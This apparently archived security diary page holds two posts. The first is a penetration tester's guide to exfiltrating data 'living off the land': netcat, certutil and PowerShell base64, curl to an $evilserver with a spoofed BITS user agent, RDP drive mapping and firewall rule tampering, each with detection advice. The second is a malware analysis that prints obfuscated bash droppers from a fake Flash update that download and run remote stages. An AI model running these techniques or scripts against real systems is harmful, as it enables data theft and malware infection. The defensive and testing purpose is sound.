Data Exfiltration in Penetration Tests

Published: 2018-11-27
Last Updated: 2018-12-06 01:52:25 UTC
by Rob VandenBrink (Version: 1)
3 comment(s)

In many penetration tests, there'll be a point where you need to exfiltrate some data.  Sometimes this is a situation of "OK, we got the crown jewels, let's get the data off premise".  Or sometimes in this phase of the test the goal is "let's make some noise and see if they're watching for data exfiltration - hmm, nothing yet, let's make some LOUDER noise and see (and so on)".  As with most things, there's a spectrum of methods to move the target data out, with various levels of difficulty for detection.

At the basic end of the spectrum, moving the data in clear text is a good test at the "are they even monitoring" end of things.  "Living off the land" (using natve operating system tools) is usually the prefered approach in my gigs - so the obvious method is to try ftp - there's an ftp client on pretty much every workstation and server OS on the planet.  If you are moving identified target data (credit card information, customer account information, other PII, engineering drawings, source code or other intellectual property), this should trigger some DLP (Data Loss Protection) detection at the perimeter - often this is coded into the firewall.

What else should see this?  Really outbound FTP shouldn't work - your client should have an egress filter on their firewall - outbound clear text file transfers to random hosts shouldn't be allowed.  But say they it's allowed.  Firewall logs will definitely show the transfer, but if there's no egress filter chances are nobody's watching the logs of the "noisiest" piece of infrastructure in the fleet - firewall logs can easily top 5GB per day, even in a small-ish organization.

A simple "cat todayslog.txt | grep /21 | grep -i permit" will show your successful exfil in the logs.  If there's an egress filter, you'd be looking for a blocked transfer, which would look more like:
cat todayslog.txt | grep /21 | grep -i deny

If the client has Netflow running for their perimeter, Netflow will show to/from traffic by protocol, so if they're running netflow telemetry from the firewall to a collector, your client will have you on film, with pictures (again, if they are looking).

OK, say you need to ramp it up a notch?  If you're able to transfer any tools in (or if you've popped a linux host), netcat (or ncat if you've got an nmap install you can use) is your friend - or you can use any number of PowerShell or Python implementions of netcat if you'd rather stick to running native tools.  This will allow you to exfiltrate data, still in clear text to a host ready to receive it - it just won't look like FTP.

This will be tougher to see, because you're exiting out on a different port.  You might think "let's pick 1337, that's a really cool "leet" port", or some other random port.  But that will pop up as an outlier in any tool if they're looking at traffic.  Not only will DLP see the data right away, but it'll pop up as "odd" to any log monitoring tool or netflow collector.

Maybe source it from a random port and use 80 or 443 as a target port?  We still see lots of folks that say "tcp/443 is encrypted, we won't even inspect it".  Or better yet, if you are exfiling from a server with an inbound web service, using ncat or similar, with the ports reversed - source port of 443 and destination some random port - to an unsusecting eye or poorly configured tool, this will look like inbound traffic to a legitimate service.  Except maybe for the volume of data leaving that is...

Let's scramble the data - - maybe they won't detect these same cleartext methods, but let's base64 the data first?  If you are operating from a customer *nix server that's easy, but if you're on a windows host, you can base64 encode data just using certutil (included on every windows host on the planet:
certutil -encode c:\foodata.binortext c:\fooscrambledata.asc
certutil -decode c:\fooscrambleddata.asc unscrambleddata.txtorbin

Powershell is a nice tool for encoding and decoding also - first, let's encode:

PS L:\datareadytoexfil.source> $test = "this is some target data.  for larger files, use get-content instead of direct assignment"
PS L:\datareadytoexfil.source> $test2 = [System.Convert]::ToBase64String([System.Text.Encoding]::UNICODE.GetBytes($test))
PS L:\datareadytoexfil.source> $test2

Now, after you've moved the data, you'll need to decode that data:

PS C:\exfil.destination> $test3 = [System.Text.Encoding]::UNICODE.GetString([System.Convert]::FromBase64String($test2))
PS C:\exfil.destination> $test3
this is some target data.  for larger files, use get-content instead of direct assignment

(Thanks Jeffrey Snover and his 2006 blog post on this!  )

OK, lets say that your client is equipped to see all of this so far (base64 encoding really should be triggering alarms) -  how would you kick it up a level and exfil data using real encryption?  

An SSH Tunnel or a straight up SCP file transfer is a favourite for this.  Hopefully the client has a simple rule on their firewall though that only allows this from specific hosts or specific user accounts.  This would mean that your transfer will either be a block/alert thing for them, or worst case a permit/alert thing.

If they permit it, you can try just uploading yoru data to a public HTTPS repo.  Mostly a well configured firewall should catch this though - for instance:

  • dropbox, onedrive and the like - traditional clients should normally have a "we store our data here" policy - so this sort of site really should be blocked unless your compromised account is in a group with access to one or more of these general purpose "stash your files here" sites.  Of course if your client has a "the cloud is sparkly and can do no wrong" outlook, this is the perfect way to exfiltrate your data.
  • Similarly, github should be restricted for most users - however, if you can compromise a developer account it makes a dandy target and will usually work.

What if you're trying to trigger an alert?  OK, try sending your exfil via https to pastebin - - there shouldn't be a legitimate need to access pastebin for most folks.  Hopefully any well configured firewall will block and alert on this one!

What's the next most difficult method to see?  OK, we'll go back to cleartext for this one, but most folks won't be looking at their own remote access VPN for data exfiltration.  If they use a single factor authentication (userid and password, usually back-ended with active directory), then this a great method of moving lots of data.  Because why would they block that, in most cases management is in favour of people working after hours from home!  That is until you ask what happens if that salesperson who left last week managed to exfil your entire client list, current pricing matrix and maybe all the RFPs that are currently in flight?  (this exfil method is a great way to make this point)

Let's say you want to use an encrypted data transfer direct to your $evilserver?  OK, curl will do that, but it'll look like curl.  Changing the useragent will help, but changing it to match firefox or chrome won't change the $evilserver destination.  hmmm - what service is usually whitelisted right near the top of the firewall list?   Yup, you guessed it, let's make our traffic look like Windows Update -let's change the user agent to look like a Microsoft BITS (Background Intelligent Transfer Service) file transfer.  Change the curl useragent to "Microsoft BITS/7.5" and very likely you won't have any trouble at all getting your data out.  Often you don't even need to encrypt it, send it out in clear text on port 443 with that useragent, and you'll sail past everyone's "Next Generation" firewall, IPS or whatever.

You can move data using BITSADMIN (in most Windows versions), or if you are in a newer windows version, just use the BITS commands in Powershell.

Other methods?  If there's an inbound RDP service (either native or an RDS gateway), RDP in, and map a drive back to your client with "net use v: \\tsclient\sharename".  Now you can use xcopy, robocopy or whatever to move data in or out, and it'll all be encrypted using a legitimate protocol that the client expects to see, and very (very) likely is not decrypting.  Their only hope of detection will be the target address.  If their RDS gateway allows full access from the internet, then they're out of luck.  You'd also be surprised how many organizations allow *outbound* RDP (no matter how bad that idea is) to any target host.  If that's the case, you can RDP back to your $evilserver from any internal customer host, map a drive back to the client host and move data using this exact same method!

One thing to note - we discussed these things more or less in order of difficulty, this isn't normally the order you try things in.  Most often, I'll start with the toughest ones to detect, then work my way down successively to the easier ones until I'm "caught".  In most cases, you *want* to be caught at some point, so that you can have the conversation about what was seen and was not seen.  If you get all the way down to a plain old FTP of cleartext data and are still undetected, it's time for a serious conversation about perimeter configs, logging and alerting :-)

A common thread to all of this is that if your client has a "next gen" firewall, they are not safe.  If you've compromised AD, usually you can create a dummy user and put that user in a group that has permissions to exfiltrate the data, so that the firewall just lets it sail on through.  Change logging in AD should alert your client to this sort of activity. Or if you're able to leverage your AD access to then login to the firewall as an admin, you'll be able to (with permission of course), permit your exfiltrated data to pass outbound with no logging or alerting, then delete that rule.  Change logging on your firewall should catch this immediately.  If you aren't logging admin activities on the firewall, or at least backing up your firewalls and running "diff" against yesterday's backups, then you need to be doing that (this really is a recommendation we were making 10-15-20 years ago).

What did I miss?  Sure, you can do exactly this job with metasploit, unicorn or any number of other tools, but if possible I try to stick with what I can use on the host OS - the things that the client expects to see either from regular users or regular system administrators.   Using native tools to accomplish malicious goals will usually make a bigger impact in your report.

Even with that "living off the land' approach, I'm sure that I've missed other methods of data exfiltration - what native methods have you used to exfiltrate data?  What methods worked, what methods got caught and how?  Use our comment form to fill us in!

Rob VandenBrink

Keywords: Exfiltration
3 comment(s)

More obfuscated shell scripts: Fake MacOS Flash update

Published: 2018-11-27
Last Updated: 2018-11-28 10:08:59 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

Yesterday, I wrote a diary about a nice obfuscated shell script[1]. Today, I found another example of malicious shell script embedded in an Apple .dmg file (an Apple Disk Image[2]). The file was delivered through a fake Flash update webpage:

The quality of the fake page is quite good. All links redirect to the same URL which downloads a first file called ‘Adobe Flash Player.dmg’ (SHA256:6f3ff669d3de26aac6ac4a5a7e902476df710f8c5dd9295cf5918abeebf8a638) with a VT score of 1/56![3]. This image, once mounted, entices the user to execute a script called ‘Install.command’. Here is the script content:

 1: #!/bin/bash
 2: dlDomain="$(echo "U2FsdGVkX1/fbXNpkXRL0cKWwNEaD2rneZpajkkAapbX8Uif/MGaZ6B/u1oEWglI" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 3: dlPath="$(echo "U2FsdGVkX1/I3nNeY0LjXYTpVzpZfUfhQg4pLf6/CW8=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 4: dir="${TMPDIR}/$(echo "U2FsdGVkX1/BbufKaA/GsaQ/KA42v1XVGa3Qhf8BpTk=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 5: dlUrl="http://${dlDomain}/srv/?t=1&ts=$(date +%s)"
 6: tmpDmg="${dir}/stmp.dmg"
 7: volpath="${dir}/vol_tmp"
 8: if [[ -e "${volpath}" ]]; then
 9:     /usr/sbin/diskutil unmountDisk force "${volpath}" 2>/dev/null
10: fi
11: rm -rf "${dir}" 2>/dev/null
12: mkdir -p "${dir}" 2>/dev/null
13: curl -s -L -o "${tmpDmg}" "${dlUrl}" 2>/dev/null
14: /usr/bin/hdiutil mount -nobrowse -noautoopen -mountpoint "${volpath}" "${tmpDmg}" >/dev/null 2>/dev/null
15: export MM_MNT="$( cd "$(dirname "$0")" ; pwd -P )"
16: open "${volpath}/" &
17: exit

In this case, the obfuscation is achieved by using openssl  to decrypt strings:

$ echo $(echo "U2FsdGVkX1/fbXNpkXRL0cKWwNEaD2rneZpajkkAapbX8Uif/MGaZ6B/u1oEWglI" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)

The complete URL is: hxxp://ktsjz[.]neverpromo[.]site/sdl//?t=1&ts=1543349208

This URL delivers the second stage called ‘Downloader.dmg’ (SHA256: 250424abd1c1d8cce3cf420074fea09d9ffc65ad1ab2d3567ff87e07cd465583) which has also a very low detection rate on  VT (2/56)[4]. The archive is mounted and the app called ‘’ is launched. Guess what? This application contains another malicious shell script:

 1: #!/bin/bash
 3: dlDomain="$(echo "U2FsdGVkX1+bZSZsHPElxMgBO04iDny+agTwQwJ5bBNzHrXlufS3jK7g+aqAUv3a" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 4: dlPath="$(echo "U2FsdGVkX1+1qF8c9G0+nqJuKOA863HBjvH4YOwpVDI=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 5: dir="${TMPDIR}/$(echo "U2FsdGVkX1/BbufKaA/GsaQ/KA42v1XVGa3Qhf8BpTk=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 6: dlUrl="http://${dlDomain}/${dlPath}/$(echo "U2FsdGVkX1+7smzlk7/zrR2CLjVehYE/RDEtwdVOKaI=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)?ts=$(date +%s)"
 7: binPath="${dir}/$(echo "U2FsdGVkX1/nwDtMZ8mYzGJ+oh9M6mtIcw3eQZkC0F9xwxw9sMDSvOlDDyfFIUfWlTsGJvTEGyE/6sB+GqnNypdwBByScF6pHs7cW5NmB2Y=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 8: tmpFile="$(echo "U2FsdGVkX18GOWxDFc0ToHZlyhqxR87hJnCqpxyZ3oE=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 9: if [[ -e "${dir}" ]]; then
10:    rm -rf "${dir}"
11: fi
12: mkdir -p "${dir}"
13: curl -s -L -o "${dir}/${tmpFile}" "${dlUrl}"
14: tar -xvzf "${dir}/${tmpFile}" -C "${dir}"
15: chmod +x "${binPath}"
16: "${binPath}"

The same obuscation technique is used and a third stage is downloaded from: hxxp://hyfie[.]cementvendor[.]site/sdl/mmStub.tar.gz?ts=1543349647

The downloaded file is mmStub.tar.gz (SHA256: 5df3f1108710795106ff203cfffdf3d691d490c1c353bee290704929af5f1384). The VT score is better: 13/58[5]. It's another MacOS app that contains the final malware:

$ tar tzvf mmStub.tar.gz
drwxr-xr-x  0 avivais staff       0 Nov 21 20:02
drwxr-xr-x  0 avivais staff       0 Nov 16 04:32
drwxr-xr-x  0 avivais staff       0 Nov 16 04:32
drwxr-xr-x  0 avivais staff       0 Nov 21 20:02
drwxr-xr-x  0 avivais staff       0 Nov 21 15:39
-rw-r--r--  0 avivais staff    1626 Nov 21 15:39
-rw-r--r--  0 avivais staff       8 Nov 21 15:39
-rw-r--r--  0 avivais staff   34830 Nov 21 15:39
-rw-r--r--  0 avivais staff   80945 Nov 16 04:32
-rw-r--r--  0 avivais staff   25473 Nov 21 15:39
-rw-r--r--  0 avivais staff    8971 Nov 16 04:32
-rw-r--r--  0 avivais staff  116489 Nov 16 04:32
-rwxr-xr-x  0 avivais staff  294080 Nov 21 20:02
-rw-r--r--  0 avivais staff    3786 Nov 21 20:02

The executable file is mm-install-macos (SHA256: a034a89257383f06154576f551b4389201d49415fc5659cb035d00f56865958b) and is indentified as "Mac.Bundlore.L".


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

0 comment(s)
ISC Stormcast For Tuesday, November 27th 2018


Diary Archives